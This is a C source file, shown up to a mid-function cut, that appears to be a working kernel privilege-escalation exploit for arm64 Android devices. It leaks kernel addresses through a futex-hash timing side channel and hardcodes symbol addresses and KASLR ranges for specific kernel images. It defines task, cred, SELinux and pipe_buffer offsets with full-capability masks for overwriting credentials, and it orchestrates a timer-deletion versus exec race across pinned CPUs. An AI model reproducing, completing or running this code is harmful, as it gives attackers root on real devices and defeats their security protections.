#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MM_OBJECT_BYTES 1280UL #define MM_SLAB_BYTES 0x8000 #define DIRECT_MAP_BEGIN UINT64_C(0xffffff8000000000) #define DIRECT_MAP_END UINT64_C(0xffffff9000000000) #define COARSE_BYTES (UINT64_C(1) << 30) #define FUTEX_MAP_BYTES (UINT64_C(64) << 30) #define COLLISION_GOAL 8 #define PILE_WAITERS 4096 #define MEASUREMENTS 128 #define LOW_SAMPLES 8 #define THRESHOLD_MULTIPLIER 10 struct hash_key { uint64_t mm; uint64_t address; uint32_t offset; uint32_t padding; }; struct kernelsnitch_state { atomic_int pile_started; atomic_int found; atomic_int collisions_ready; uint64_t mm_address; uint64_t collision_addresses[COLLISION_GOAL]; uint32_t hash_size; uint32_t collision_count; }; struct pile_arg { struct kernelsnitch_state *shared; uint32_t *word; }; struct scan_arg { struct kernelsnitch_state *shared; uint64_t begin; uint64_t end; int index; }; static unsigned char *futex_map; static void die(const char *what); static inline uint32_t rotate_left32(uint32_t value, unsigned int bits) { return (value << (bits & 31)) | (value >> ((-bits) & 31)); } static uint32_t jenkins_hash4(const uint32_t words[4], uint32_t seed) { uint32_t a = UINT32_C(0xdeadbeef) + 16 + seed; uint32_t b = a; uint32_t c = a; a += words[0]; b += words[1]; c += words[2]; a -= c; a ^= rotate_left32(c, 4); c += b; b -= a; b ^= rotate_left32(a, 6); a += c; c -= b; c ^= rotate_left32(b, 8); b += a; a -= c; a ^= rotate_left32(c, 16); c += b; b -= a; b ^= rotate_left32(a, 19); a += c; c -= b; c ^= rotate_left32(b, 4); b += a; a += words[3]; c ^= b; c -= rotate_left32(b, 14); a ^= c; a -= rotate_left32(c, 11); b ^= a; b -= rotate_left32(a, 25); c ^= b; c -= rotate_left32(b, 16); a ^= c; a -= rotate_left32(c, 4); b ^= a; b -= rotate_left32(a, 14); c ^= b; c -= rotate_left32(b, 24); return c; } static uint32_t modeled_futex_bucket(uint64_t user_address, uint64_t mm_address, uint32_t hash_size) { struct hash_key key = { .mm = mm_address, .address = user_address & ~(0x1000 - 1), .offset = user_address & (0x1000 - 1), }; uint32_t words[4]; memcpy(words, &key, sizeof(words)); return jenkins_hash4(words, key.offset) & (hash_size - 1); } static inline uint64_t virtual_counter(void) { uint64_t value; asm volatile("isb\n\tmrs %0, cntvct_el0\n\tisb" : "=r"(value) : : "memory"); return value; } static int compare_u64(const void *left, const void *right) { uint64_t a = *(const uint64_t *)left; uint64_t b = *(const uint64_t *)right; return (a > b) - (a < b); } static uint64_t measure_empty_wake(uint32_t *word) { uint64_t samples[MEASUREMENTS]; uint64_t total = 0; for (int i = 0; i < MEASUREMENTS; i++) { sched_yield(); uint64_t begin = virtual_counter(); syscall(SYS_futex, word, FUTEX_WAKE_PRIVATE, 0, NULL, NULL, 0); samples[i] = virtual_counter() - begin; } qsort(samples, MEASUREMENTS, sizeof(samples[0]), compare_u64); for (int i = 0; i < LOW_SAMPLES; i++) total += samples[i]; return total / LOW_SAMPLES; } static void *pile_waiter(void *opaque) { struct pile_arg *arg = opaque; struct kernelsnitch_state *shared = arg->shared; uint32_t *word = arg->word; free(arg); atomic_fetch_add_explicit(&shared->pile_started, 1, memory_order_release); syscall(SYS_futex, word, FUTEX_WAIT_PRIVATE, 0, NULL, NULL, 0); return NULL; } static int build_timing_collisions(struct kernelsnitch_state *shared) { pthread_attr_t attributes; uint32_t *pile_word = (uint32_t *)((unsigned char *)shared + 512); uint32_t found = 1; int created = 0; shared->collision_addresses[0] = (uint64_t)(uintptr_t)pile_word; if (pthread_attr_init(&attributes)) return -1; pthread_attr_setstacksize(&attributes, 64 * 1024); for (int i = 0; i < PILE_WAITERS; i++) { struct pile_arg *arg = calloc(1, sizeof(*arg)); pthread_t thread; if (!arg) break; arg->shared = shared; arg->word = pile_word; if (pthread_create(&thread, &attributes, pile_waiter, arg)) { free(arg); break; } pthread_detach(thread); created++; } pthread_attr_destroy(&attributes); for (int i = 0; i < 5000; i++) { if (atomic_load_explicit(&shared->pile_started, memory_order_acquire) == created) break; usleep(1000); } usleep(100000); if (created < PILE_WAITERS * 3 / 4) { printf("KS_PILE_FAIL created=%d started=%d\n", created, atomic_load_explicit(&shared->pile_started, memory_order_relaxed)); return -1; } uint64_t baseline_a = measure_empty_wake((uint32_t *)(futex_map + 0x1000)); uint64_t baseline_b = measure_empty_wake((uint32_t *)(futex_map + 2 * 0x1000 + 8)); uint64_t threshold = (baseline_a < baseline_b ? baseline_a : baseline_b) * THRESHOLD_MULTIPLIER; uint64_t candidate_count = (uint64_t)shared->hash_size * COLLISION_GOAL * 4; for (int i = 2; (uint64_t)i < candidate_count && found < COLLISION_GOAL; i++) { uint64_t index = (uint64_t)i * 0x1000 + ((uint64_t)i * 8 & (0x1000 - 1)); uint32_t *candidate = (uint32_t *)(futex_map + index); if (measure_empty_wake(candidate) > threshold) shared->collision_addresses[found++] = (uint64_t)(uintptr_t)candidate; } shared->collision_count = found; atomic_store_explicit(&shared->collisions_ready, 1, memory_order_release); printf("KS_COLLISIONS pile=%d baseline=%llu/%llu threshold=%llu " "found=%u/%u\n", created, (unsigned long long)baseline_a, (unsigned long long)baseline_b, (unsigned long long)threshold, found, COLLISION_GOAL); return found == COLLISION_GOAL ? 0 : -1; } static void *scan_direct_map(void *opaque) { struct scan_arg *arg = opaque; struct kernelsnitch_state *shared = arg->shared; for (uint64_t slab = arg->begin; slab < arg->end; slab += MM_SLAB_BYTES) { if (atomic_load_explicit(&shared->found, memory_order_acquire)) break; for (uint64_t address = slab; address + MM_OBJECT_BYTES <= slab + MM_SLAB_BYTES; address += MM_OBJECT_BYTES) { int matches = 1; uint32_t bucket = modeled_futex_bucket(shared->collision_addresses[0], address, shared->hash_size); for (uint32_t i = 1; i < shared->collision_count; i++) { if (modeled_futex_bucket(shared->collision_addresses[i], address, shared->hash_size) != bucket) { matches = 0; break; } } if (matches) { if (!atomic_exchange_explicit(&shared->found, 1, memory_order_acq_rel)) shared->mm_address = address; break; } } } printf("KS_SCAN_DONE worker=%d found=%d\n", arg->index, atomic_load_explicit(&shared->found, memory_order_relaxed)); return NULL; } static uint64_t recover_mm_address(struct kernelsnitch_state *shared, int workers) { pthread_t *threads = calloc((size_t)workers, sizeof(*threads)); struct scan_arg *arguments = calloc((size_t)workers, sizeof(*arguments)); uint64_t range = (DIRECT_MAP_END - DIRECT_MAP_BEGIN) / workers; if (!threads || !arguments) die("calloc scan workers"); for (int i = 0; i < workers; i++) { arguments[i].shared = shared; arguments[i].begin = DIRECT_MAP_BEGIN + range * (uint64_t)i; arguments[i].end = i == workers - 1 ? DIRECT_MAP_END : DIRECT_MAP_BEGIN + range * (uint64_t)(i + 1); arguments[i].begin &= ~(COARSE_BYTES - 1); arguments[i].end = (arguments[i].end + COARSE_BYTES - 1) & ~(COARSE_BYTES - 1); arguments[i].index = i; if (pthread_create(&threads[i], NULL, scan_direct_map, &arguments[i])) die("pthread_create scan"); } for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL); free(arguments); free(threads); return shared->mm_address; } #define ARRAY_SIZE(array) (sizeof(array) / sizeof((array)[0])) #define CPUCLOCK_SCHED 2 #define ORDER1_SIZE 0x2000 #define CC_SKB_SEND_BYTES 32768 #define SPRAY_REPEATS 3 #define SPRAY_MARKER 0x6e #define NEBUSEC_MAGIC UINT64_C(0x6e6562757365635f) #define MAX_WORKERS 128 #define MAX_RACE_BATCH 16 #define MAX_EXEC_REPEATS 64 #define MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED (1U << 4) /* Exact shared Frankel/Blazer 4K image link layout. */ #define LINK_IMAGE_BASE UINT64_C(0xffffffc080000000) #define LINK_CYCLE_C UINT64_C(0xffffffc08212e958) #define LINK_CYCLE_D UINT64_C(0xffffffc08212d5d0) #define FRANKEL_DIRECT_BOOTID_PARENT UINT64_C(0xffffff8002449460) #define FRANKEL_DIRECT_CYCLE_C UINT64_C(0xffffff800232e958) #define BLAZER_DIRECT_BOOTID_PARENT UINT64_C(0xffffff8002249460) #define BLAZER_DIRECT_CYCLE_C UINT64_C(0xffffff800212e958) #define LINK_MISC_LIST UINT64_C(0xffffffc082249560) #define LINK_SYSCTL_BOOTID UINT64_C(0xffffffc08238b2d8) #define LINK_UHID_MISC UINT64_C(0xffffffc082285f40) #define LINK_UHID_FOPS UINT64_C(0xffffffc0812e8778) #define LINK_ASHMEM_IOCTL UINT64_C(0xffffffc080c8d908) #define LINK_ASHMEM_OPEN UINT64_C(0xffffffc080c8e238) #define LINK_ASHMEM_RELEASE UINT64_C(0xffffffc080c8e2c0) #define LINK_CONFIGFS_READ_ITER UINT64_C(0xffffffc080491eec) #define LINK_CONFIGFS_BIN_WRITE_ITER UINT64_C(0xffffffc080492418) #define LINK_MODULE_DIRECT_BASE UINT64_C(0xffffffc081683908) #define LINK_MODULE_PLT_BASE UINT64_C(0xffffffc081683910) #define LINK_MEMSTART_ADDR UINT64_C(0xffffffc081683928) #define LINK_KIMAGE_VOFFSET UINT64_C(0xffffffc0816839e0) #define LINK_KMALLOC_CACHES UINT64_C(0xffffffc081683db8) #define LINK_ANON_PIPE_BUF_OPS UINT64_C(0xffffffc081176748) #define LINK_INIT_TASK UINT64_C(0xffffffc08212e280) #define LINK_INIT_CRED UINT64_C(0xffffffc082140748) #define LINK_SELINUX_BLOB_SIZES UINT64_C(0xffffffc0816849b0) #define LINK_SELINUX_STATE UINT64_C(0xffffffc08236a2e0) #define LINK_SDATA UINT64_C(0xffffffc082110000) #define LINK_END UINT64_C(0xffffffc0823b0000) #define MODULE_DIRECT_SIZE UINT64_C(0x08000000) #define MODULE_PLT_SIZE UINT64_C(0x80000000) #define KASLR_SLIDE_MIN UINT64_C(0x1000000000) #define KASLR_SLIDE_END UINT64_C(0x3000000000) #define KASLR_ALIGN UINT64_C(0x200000) #define UHID_PATH "/dev/uhid" #define UHID_MINOR 239U #define ASHMEM_NAME_LEN 256 #define ASHMEM_SET_NAME _IOW(0x77, 1, char[ASHMEM_NAME_LEN]) #define ASHMEM_NAME_PREFIX_LEN 11 #define ASHMEM_PREFIX_COUNT UINT64_C(0x6d6873612f766564) #define CFG_PAGE_OFF 16 #define CFG_NEEDS_READ_FILL_OFF 80 #define CFG_BIN_BUFFER_OFF 88 #define CFG_BIN_BUFFER_SIZE_OFF 96 #define CFG_CB_MAX_SIZE_OFF 100 #define FAKE_MISC_OFF UINT64_C(0x100) #define FAKE_MISC_FOPS_OFF UINT64_C(0x10) #define FAKE_MISC_LIST_OFF UINT64_C(0x18) #define FAKE_MISC_PARENT_OFF UINT64_C(0x28) #define FAKE_MISC_RECORD_STRIDE UINT64_C(0x58) #define FAKE_MISC_CLASSES 11 #define FAKE_MISC_SLOTS 31 #define FAKE_CPU_TIMER_FIRST_OFF 0x78 #define FAKE_CPU_TIMER_STRIDE 0x108 #define FAKE_MISC_RECORDS (FAKE_MISC_CLASSES * FAKE_MISC_SLOTS) #define FAKE_MISC_LEAF_DELTA UINT64_C(0x30) #define FAKE_CPU_TIMER_EXPIRES_OFF 0x18 #define FAKE_FOPS_OFF UINT64_C(0x7640) #define BRIDGE_SCRATCH_OFF UINT64_C(0x7700) #define FOPS_READ_ITER_OFF 0x20 #define FOPS_WRITE_ITER_OFF 0x28 #define FOPS_UNLOCKED_IOCTL_OFF 0x48 #define FOPS_OPEN_OFF 0x68 #define FOPS_RELEASE_OFF 0x78 #define MISC_LIST_LIMIT 4096 #define MISC_MINOR_MAX UINT32_C(0xfffff) #define DP_VMEMMAP_START UINT64_C(0xfffffffe00000000) #define DP_STRUCT_PAGE_SIZE UINT64_C(0x40) #define DP_PAGE_FLAGS_OFF UINT64_C(0x0) #define DP_PAGE_COMPOUND_HEAD_OFF UINT64_C(0x8) #define DP_PAGE_SLAB_CACHE_OFF UINT64_C(0x8) #define DP_PG_HEAD 6 #define DP_PG_SLAB 11 #define DP_KMALLOC_CG8K_SLOT_OFF UINT64_C(0x148) #define DP_PIPE_SMALL_BYTES 0x2000 #define DP_PIPE_LARGE_BYTES 0x80000 #define DP_PIPE_OBJECT_BYTES UINT64_C(0x2000) #define DP_PIPE_DRAIN_COUNT 40 #define DP_PIPE_RECLAIM_MAX 80 #define DP_PIPE_MARKER_BASE 0x100U #define DP_PIPE_BUF_CAN_MERGE 0x10U #define DP_PHYS_PROOF_OFF UINT64_C(0x6ffc) #define DP_TASK_COMM_OFF UINT64_C(0x830) #define DP_TASK_COMM_LEN 16 #define DP_TASK_TASKS_OFF UINT64_C(0x550) #define DP_TASK_PID_OFF UINT64_C(0x618) #define DP_TASK_TGID_OFF UINT64_C(0x61c) #define DP_TASK_GROUP_LEADER_OFF UINT64_C(0x658) #define DP_TASK_REAL_CRED_OFF UINT64_C(0x818) #define DP_TASK_CRED_OFF UINT64_C(0x820) #define DP_TASK_SCAN_SIZE (DP_TASK_COMM_OFF + DP_TASK_COMM_LEN - DP_TASK_TASKS_OFF) #define DP_TASK_SCAN_LIMIT 32768 #define DP_TASK_STABLE_READS 3 #define DP_TASK_SCAN_PASSES 3 #define DP_TASK_SCAN_RETRIES 8 #define DP_VISITED_CAP 65536 #define DP_CRED_SIZE 0xb8 #define DP_CRED_SECURITY_OFF 0x80 #define DP_CRED_USAGE_OFF 0x0 #define DP_CRED_IDS_OFF 0x8 #define DP_CRED_SECUREBITS_OFF 0x28 #define DP_CRED_CAP_INHERITABLE_OFF 0x30 #define DP_CRED_CAP_PERMITTED_OFF 0x38 #define DP_CRED_CAP_EFFECTIVE_OFF 0x40 #define DP_CRED_CAP_BSET_OFF 0x48 #define DP_CRED_CAP_AMBIENT_OFF 0x50 #define DP_CRED_USER_OFF 0x88 #define DP_CRED_USER_NS_OFF 0x90 #define DP_CRED_UCOUNTS_OFF 0x98 #define DP_CRED_GROUP_INFO_OFF 0xa0 #define DP_SELINUX_CRED_SIZE 0x18 #define DP_FULL_CAP_MASK ((UINT64_C(1) << 41) - 1) struct dp_pipe_buffer { uint64_t page; uint32_t offset; uint32_t length; uint64_t ops; uint32_t flags; uint32_t padding; uint64_t private; }; _Static_assert(sizeof(struct dp_pipe_buffer) == 0x28, "unexpected pipe_buffer layout"); _Static_assert(ATOMIC_INT_LOCK_FREE == 2, "cross-process root synchronization requires lock-free atomics"); struct shared_state { atomic_int victim_ready; atomic_int victim_cpu; atomic_int delete_go; atomic_int deleted; atomic_int delete_errors; atomic_int delete_errno; atomic_int create_errno; atomic_int exec_after_deleted; atomic_long exec_delay_ns; atomic_llong delete_go_ns; atomic_llong delete_seen_min_ns; atomic_llong delete_seen_max_ns; atomic_llong delete_threshold_ns; atomic_llong victim_threshold_ns; atomic_llong exec_call_ns; }; struct victim_arg { struct shared_state *shared; int exec_ack_fd; }; struct exec_ack { int64_t timestamp_ns; int32_t generation; int32_t total; int32_t caller_pid; int32_t caller_tid; int32_t caller_cpu; int32_t current_pid; int32_t current_tid; int32_t current_cpu; }; struct repeat_exec_arg { int ack_fd; int generation; int total; }; struct delete_state { struct shared_state *shared; int *timer_ids; int timer_count; atomic_int worker_serial; atomic_int ready_workers; atomic_uint observed_cpu_mask; atomic_int irq_count; atomic_int irq_arm_go; atomic_int irq_armed; atomic_llong irq_target_ns; int worker_count; int *irq_fds; }; struct prime_state { struct shared_state *shared; atomic_int ready; atomic_int start; atomic_llong begin_ns; atomic_llong end_ns; }; struct rcu_flush_state { int *timer_ids; int timer_count; atomic_int next_timer; atomic_int errors; }; struct spray_pair { int tx; int rx; }; struct spray_state { struct spray_pair *pairs; const unsigned char *fragment; atomic_int *next_pair; atomic_int *errors; int pair_count; int cpu; int phase; }; struct watcher_result { uint64_t magic; uint64_t qword0; uint64_t qword1; uint64_t slide; }; struct victim_reaper { pid_t victims[MAX_RACE_BATCH]; atomic_int done; int count; int cpu; int reaped; int wait_errno; int affinity_errno; }; enum boot_validation_mode { BOOT_VALIDATE_KASLR, BOOT_VALIDATE_MISC_BRIDGE, }; enum attempt_result { ATTEMPT_PRESERVE = -1, ATTEMPT_MISS = 0, ATTEMPT_HIT = 1, }; static uint64_t crosscache_page_base; static enum boot_validation_mode boot_validation = BOOT_VALIDATE_KASLR; static uint64_t kernel_slide; static uint64_t module_direct_base; static uint64_t module_plt_base; static uint64_t direct_bootid_parent = FRANKEL_DIRECT_BOOTID_PARENT; static uint64_t direct_cycle_c = FRANKEL_DIRECT_CYCLE_C; static uint64_t forged_parent = FRANKEL_DIRECT_BOOTID_PARENT; static uint64_t forged_child = FRANKEL_DIRECT_CYCLE_C; static unsigned char misc_fragments[FAKE_MISC_CLASSES][ORDER1_SIZE]; static int misc_fragments_ready; static int online_cpu_count; static int cpu_count; static int race_cpu_limit; static int race_cpu_base; static int race_exec_repeats; static int pipe_count; static int pipe_reclaim_count; static int timer_goal; static int worker_goal; static int race_batch; static int controlled_race_batch; static int max_attempts; static int controlled_max_attempts; static int irq_batch_fds; static long irq_batch_period_ns; static long irq_arm_lead_ns; static int exec_after_deleted; static long rcu_wait_us; static int watcher_timeout_ms; static int membarrier_registered; static int prime_start_deleted; static int rcu_flush_timers; static int slab_baseline_active; static int slab_baseline_total; static int reaper_cpu_generation; static uint64_t stage0_baseline0; static uint64_t stage0_baseline1; static atomic_int kernel_state_dirty; static pid_t kernel_state_owner; enum { RACE_ROLE_PARENT_CPU = 1, RACE_ROLE_DELETE_FIRST_CPU = 2, RACE_ROLE_DELETE_CPU_COUNT = 5, RACE_ROLE_EXEC_CPU = 7, }; static __attribute__((noreturn)) void hold_corrupted_state(void); static __attribute__((noreturn, noinline)) void hold_cred_unknown(void); static int waitpid_exact(pid_t child, int *status); static int terminate_and_reap(pid_t child, int *status); static int waitpid_timed(pid_t child, int *status, int timeout_ms); static int terminate_and_reap_timed(pid_t child, int *status, int timeout_ms); static void die(const char *what) { perror(what); if (getpid() == kernel_state_owner && atomic_load_explicit(&kernel_state_dirty, memory_order_acquire)) { printf("KERNEL_STATE_PRESERVE reason=fatal_call\n"); hold_corrupted_state(); } exit(1); } static void join_or_preserve(pthread_t thread, const char *role) { int error = pthread_join(thread, NULL); if (!error) return; printf("THREAD_JOIN_NOT_PROVEN role=%s error=%d\n", role, error); hold_corrupted_state(); } static int try_pin_cpu(int logical_cpu) { cpu_set_t set; if (logical_cpu < 0 || logical_cpu >= CPU_SETSIZE || (race_cpu_limit && logical_cpu >= cpu_count) || race_cpu_base > CPU_SETSIZE - 1 - logical_cpu) { errno = ERANGE; fprintf(stderr, "RACE_CPU_PIN_GATE_FAIL logical=%d base=%d effective=%d\n", logical_cpu, race_cpu_base, cpu_count); return -1; } int physical_cpu = race_cpu_base + logical_cpu; CPU_ZERO(&set); CPU_SET(physical_cpu, &set); return sched_setaffinity(0, sizeof(set), &set); } static void pin_cpu(int cpu) { if (try_pin_cpu(cpu)) die("sched_setaffinity"); } static void pin_physical_cpu(int cpu) { cpu_set_t set; if (cpu < 0 || cpu >= online_cpu_count || cpu >= CPU_SETSIZE) { errno = ERANGE; die("physical CPU range"); } CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) || sched_getcpu() != cpu) die("physical CPU affinity"); } static int verify_role_cpus(void) { cpu_set_t original; cpu_set_t requested; int error = 0; if (sched_getaffinity(0, sizeof(original), &original)) return -1; for (int cpu = RACE_ROLE_PARENT_CPU; cpu <= RACE_ROLE_EXEC_CPU; cpu++) { CPU_ZERO(&requested); CPU_SET(cpu, &requested); if (sched_setaffinity(0, sizeof(requested), &requested) || sched_getcpu() != cpu) { error = errno ? errno : EINVAL; break; } } if (sched_setaffinity(0, sizeof(original), &original) && !error) error = errno; if (error) { errno = error; return -1; } return 0; } static inline void cpu_relax(void) { asm volatile("yield" : : : "memory"); } static long long monotonic_ns(void) { struct timespec now; if (clock_gettime(CLOCK_MONOTONIC, &now)) die("clock_gettime"); return (long long)now.tv_sec * 1000000000LL + now.tv_nsec; } static void busy_delay(long nanoseconds) { if (nanoseconds <= 0) return; long long begin = monotonic_ns(); while (monotonic_ns() - begin < nanoseconds) cpu_relax(); } static void atomic_min_ns(atomic_llong *value, long long candidate) { long long current = atomic_load_explicit(value, memory_order_relaxed); while ((!current || candidate < current) && !atomic_compare_exchange_weak_explicit(value, ¤t, candidate, memory_order_relaxed, memory_order_relaxed)) ; } static void atomic_max_ns(atomic_llong *value, long long candidate) { long long current = atomic_load_explicit(value, memory_order_relaxed); while (candidate > current && !atomic_compare_exchange_weak_explicit(value, ¤t, candidate, memory_order_relaxed, memory_order_relaxed)) ; } static void sleep_until(long long target_ns) { struct timespec target; if (target_ns <= monotonic_ns()) return; target.tv_sec = target_ns / 1000000000LL; target.tv_nsec = target_ns % 1000000000LL; while (clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &target, NULL) == EINTR) ; } static int timer_create_raw(clockid_t clockid, int *timer_id) { struct sigevent event; memset(&event, 0, sizeof(event)); event.sigev_notify = SIGEV_SIGNAL; event.sigev_signo = SIGUSR1; return syscall(SYS_timer_create, clockid, &event, timer_id); } static int timer_arm_raw(int timer_id) { struct itimerspec spec; memset(&spec, 0, sizeof(spec)); spec.it_value.tv_sec = 3600; return syscall(SYS_timer_settime, timer_id, 0, &spec, NULL); } static int parse_exec_meta(const char *text, struct exec_ack *ack) { int consumed = 0; memset(ack, 0, sizeof(*ack)); if (sscanf(text, "%d,%d,%d,%d,%d%n", &ack->generation, &ack->total, &ack->caller_pid, &ack->caller_tid, &ack->caller_cpu, &consumed) != 5 || text[consumed] || ack->generation < 1 || ack->generation > ack->total || ack->total < 1 || ack->total > MAX_EXEC_REPEATS || ack->caller_pid <= 0 || ack->caller_tid <= 0 || ack->caller_tid == ack->caller_pid || ack->caller_cpu != race_cpu_base) return -1; ack->current_pid = getpid(); ack->current_tid = (pid_t)syscall(SYS_gettid); ack->current_cpu = sched_getcpu(); if (ack->current_pid != ack->caller_pid || ack->current_tid != ack->current_pid || ack->current_cpu != race_cpu_base) return -1; ack->timestamp_ns = monotonic_ns(); return 0; } static void *repeat_exec_thread(void *opaque) { struct repeat_exec_arg *arg = opaque; char ack_fd_text[16]; char cpu_base_text[16]; char meta_text[96]; char *const argv[] = {(char *)"/proc/self/exe", (char *)"--exec-child", ack_fd_text, cpu_base_text, meta_text, NULL}; pin_cpu(0); pid_t pid = getpid(); pid_t tid = (pid_t)syscall(SYS_gettid); int cpu = sched_getcpu(); if (tid == pid || cpu != race_cpu_base) _exit(103); snprintf(ack_fd_text, sizeof(ack_fd_text), "%d", arg->ack_fd); snprintf(cpu_base_text, sizeof(cpu_base_text), "%d", race_cpu_base); snprintf(meta_text, sizeof(meta_text), "%d,%d,%d,%d,%d", arg->generation, arg->total, pid, tid, cpu); execv(argv[0], argv); _exit(101); } static int exec_child(const char *ack_fd_text, const char *meta_text) { static const char gate_pass[] = "EXEC_CPU_GATE_PASS\n"; struct repeat_exec_arg repeat; struct exec_ack ack; pthread_t thread; int ack_fd = atoi(ack_fd_text); pin_cpu(0); if (parse_exec_meta(meta_text, &ack) || sched_getcpu() != race_cpu_base || write(STDOUT_FILENO, gate_pass, sizeof(gate_pass) - 1) != (ssize_t)sizeof(gate_pass) - 1) return 102; if (write(ack_fd, &ack, sizeof(ack)) != (ssize_t)sizeof(ack)) return 100; if (ack.generation < ack.total) { repeat.ack_fd = ack_fd; repeat.generation = ack.generation + 1; repeat.total = ack.total; if (pthread_create(&thread, NULL, repeat_exec_thread, &repeat)) return 103; if (pthread_join(thread, NULL)) return 103; return 101; } close(ack_fd); for (;;) pause(); } static void *victim_exec_thread(void *opaque) { struct victim_arg *arg = opaque; char ack_fd_text[16]; char cpu_base_text[16]; char meta_text[96]; char *const argv[] = {(char *)"/proc/self/exe", (char *)"--exec-child", ack_fd_text, cpu_base_text, meta_text, NULL}; pin_physical_cpu(RACE_ROLE_EXEC_CPU); snprintf(ack_fd_text, sizeof(ack_fd_text), "%d", arg->exec_ack_fd); snprintf(cpu_base_text, sizeof(cpu_base_text), "%d", RACE_ROLE_EXEC_CPU); pid_t pid = getpid(); pid_t tid = (pid_t)syscall(SYS_gettid); int cpu = sched_getcpu(); if (tid == pid || cpu != RACE_ROLE_EXEC_CPU) _exit(102); snprintf(meta_text, sizeof(meta_text), "1,%d,%d,%d,%d", race_exec_repeats, pid, tid, cpu); atomic_store_explicit(&arg->shared->victim_cpu, cpu, memory_order_relaxed); atomic_store_explicit(&arg->shared->victim_ready, 1, memory_order_release); while (!atomic_load_explicit(&arg->shared->delete_go, memory_order_acquire)) cpu_relax(); int threshold = atomic_load_explicit(&arg->shared->exec_after_deleted, memory_order_relaxed); while (atomic_load_explicit(&arg->shared->deleted, memory_order_acquire) < threshold) cpu_relax(); atomic_store_explicit(&arg->shared->victim_threshold_ns, monotonic_ns(), memory_order_release); busy_delay(atomic_load_explicit(&arg->shared->exec_delay_ns, memory_order_relaxed)); atomic_store_explicit(&arg->shared->exec_call_ns, monotonic_ns(), memory_order_release); execv(argv[0], argv); _exit(101); } static void victim_process(struct shared_state *shared, int ack_fd, int parent_ack_fd) { struct victim_arg arg = { .shared = shared, .exec_ack_fd = ack_fd, }; pthread_t thread; sigset_t waitset; int null_fd; pin_physical_cpu(RACE_ROLE_EXEC_CPU); close(parent_ack_fd); if (ack_fd > STDERR_FILENO + 1 && syscall(SYS_close_range, STDERR_FILENO + 1, (unsigned int)ack_fd - 1, 0)) _exit(102); null_fd = open("/dev/null", O_RDWR | O_CLOEXEC); if (null_fd < 0) _exit(103); dup2(null_fd, STDIN_FILENO); dup2(null_fd, STDOUT_FILENO); dup2(null_fd, STDERR_FILENO); if (null_fd > STDERR_FILENO) close(null_fd); if (pthread_create(&thread, NULL, victim_exec_thread, &arg)) _exit(104); sigemptyset(&waitset); sigaddset(&waitset, SIGRTMIN); for (;;) { if (sigwaitinfo(&waitset, NULL) < 0 && errno != EINTR) _exit(105); } } static int poll_exec_ack(int fd, long long deadline_ns) { struct pollfd poll_fd = { .fd = fd, .events = POLLIN | POLLHUP, }; long long remaining_ns = deadline_ns - monotonic_ns(); if (remaining_ns <= 0) return -1; int timeout_ms = (int)((remaining_ns + 999999) / 1000000); int result; do { result = poll(&poll_fd, 1, timeout_ms); } while (result < 0 && errno == EINTR); if (result <= 0 || (poll_fd.revents & (POLLERR | POLLNVAL))) return -1; return 0; } static int collect_exec_acks(int fd, struct exec_ack *acks, int expected, int *received) { long long deadline_ns = monotonic_ns() + 3000000000LL; int expected_cpu = RACE_ROLE_EXEC_CPU; *received = 0; for (int i = 0; i < expected; i++) { unsigned char *cursor = (unsigned char *)&acks[i]; size_t done = 0; while (done < sizeof(acks[i])) { ssize_t got; if (poll_exec_ack(fd, deadline_ns)) return -1; got = read(fd, cursor + done, sizeof(acks[i]) - done); if (got < 0 && errno == EINTR) continue; if (got <= 0) return -1; done += (size_t)got; } *received = i + 1; if (acks[i].generation != i + 1 || acks[i].total != expected || acks[i].caller_pid <= 0 || acks[i].caller_tid <= 0 || acks[i].caller_pid == acks[i].caller_tid || acks[i].caller_cpu != expected_cpu || acks[i].current_pid != acks[i].caller_pid || acks[i].current_tid != acks[i].current_pid || acks[i].current_cpu != expected_cpu || (i && acks[i].timestamp_ns <= acks[i - 1].timestamp_ns)) return -1; } for (;;) { unsigned char extra; ssize_t got; if (poll_exec_ack(fd, deadline_ns)) return -1; got = read(fd, &extra, sizeof(extra)); if (!got) return 0; if (got < 0 && errno == EINTR) continue; return -1; } } static void prepare_irq_batch(struct delete_state *state) { int count = 0; for (; count < irq_batch_fds; count++) { state->irq_fds[count] = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC); if (state->irq_fds[count] < 0) break; } atomic_store_explicit(&state->irq_count, count, memory_order_release); } static void arm_irq_batch(struct delete_state *state) { struct itimerspec irq; long long target_ns = monotonic_ns() + irq_arm_lead_ns; int count = atomic_load_explicit(&state->irq_count, memory_order_acquire); memset(&irq, 0, sizeof(irq)); irq.it_value.tv_sec = target_ns / 1000000000LL; irq.it_value.tv_nsec = target_ns % 1000000000LL; irq.it_interval.tv_sec = irq_batch_period_ns / 1000000000L; irq.it_interval.tv_nsec = irq_batch_period_ns % 1000000000L; int i = 0; for (; i < count; i++) { if (timerfd_settime(state->irq_fds[i], TFD_TIMER_ABSTIME, &irq, NULL)) break; } atomic_store_explicit(&state->irq_count, i, memory_order_release); atomic_store_explicit(&state->irq_target_ns, target_ns, memory_order_release); atomic_store_explicit(&state->irq_armed, 1, memory_order_release); } static void *delete_worker(void *opaque) { struct delete_state *state = opaque; int worker_no = atomic_fetch_add_explicit(&state->worker_serial, 1, memory_order_relaxed); int cpu = RACE_ROLE_DELETE_FIRST_CPU + worker_no % RACE_ROLE_DELETE_CPU_COUNT; pin_physical_cpu(cpu); atomic_fetch_or_explicit(&state->observed_cpu_mask, 1U << cpu, memory_order_relaxed); if (!worker_no) prepare_irq_batch(state); atomic_fetch_add_explicit(&state->ready_workers, 1, memory_order_release); if (!worker_no) { while (!atomic_load_explicit(&state->irq_arm_go, memory_order_acquire)) cpu_relax(); arm_irq_batch(state); } while (!atomic_load_explicit(&state->shared->delete_go, memory_order_acquire)) cpu_relax(); { long long seen = monotonic_ns(); atomic_min_ns(&state->shared->delete_seen_min_ns, seen); atomic_max_ns(&state->shared->delete_seen_max_ns, seen); } for (;;) { int index = worker_no; worker_no += state->worker_count; if (index >= state->timer_count) break; if (syscall(SYS_timer_delete, state->timer_ids[state->timer_count - 1 - index])) { atomic_store_explicit(&state->shared->delete_errno, errno, memory_order_relaxed); atomic_fetch_add_explicit(&state->shared->delete_errors, 1, memory_order_relaxed); } else { int count = 